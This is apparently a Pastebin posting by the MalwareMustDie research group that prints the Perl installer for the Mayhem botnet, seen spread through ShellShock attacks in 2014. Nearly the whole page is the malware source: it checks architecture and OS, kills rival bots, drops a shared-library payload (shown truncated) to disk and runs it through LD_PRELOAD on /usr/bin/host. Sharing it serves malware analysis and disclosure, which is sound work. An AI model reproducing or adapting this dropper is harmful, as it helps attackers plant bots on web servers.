SHARE
TWEET

Mayhem Installer in ShellShock Wave in Perl #MMD

MalwareMustDie Oct 6th, 2014 453 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2. use Config;
  3.  
  4. print "Content-type: text/plain\n\n";
  5. $SO32="\x7f\x45\x4c\x46\x01x4c\x4f..\x00\x00";
  6. $SO64="\x7f\x45\x4c\x46\x02x4c\x4f..\x00\x00";
  7. # detect arch
  8. $arch = $Config{longsize} * 8;
  9. print "Arch=".$arch."\n";
  10. $so = ($arch == 32 ? $SO32 : $SO64);
  11. # detect system
  12. $name = "%helper";
  13. open F, $name and binmode F and read (F, $buf, 8) and close F;
  14. @b = unpack("C*", $buf);
  15. $sys = $b[7];
  16. print "System is ".($sys == 9 ? "FreeBSD" : "Linux")."\n";
  17. $extra = "";
  18. if ($sys == 9) {
  19.         # FreeBSD
  20.         $so[7] = pack("C", $sys);
  21.         my $out = `ldd /usr/bin/host`;
  22.         foreach my $line (split /[\n]+/, $out) {
  23.                 my ($x, $x, $lib) = split / /, $line;
  24.                 if ($lib =~ /(ibc\.|thr)/i ) {
  25.                         $extra .= $lib." ";
  26.                 }
  27.         }
  28.         if ($extra !~ /libthr/i) {
  29.                 $extra = "libc.so.7 libthr.so.3 ";
  30.         }
  31.         # touch /etc/rc.local
  32.         open (TMP, ">>/etc/rc.local") and close TMP;
  33. }
  34. # kill bots if any
  35. $name=~s/.*\///g;
  36. system("killall -9 ".$name." 2>/dev/null");
  37. # drop library
  38. open $F, ">./sess.so";
  39. print $F $so;
  40. close $F;
  41. print "Drop library\n";
  42.  
  43. $ENV{'AU'}=$ENV{'SERVER_NAME'}.$ENV{'REQUEST_URI'};
  44. system("LD_PRELOAD='".$extra." ./sess.so' /usr/bin/host");
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top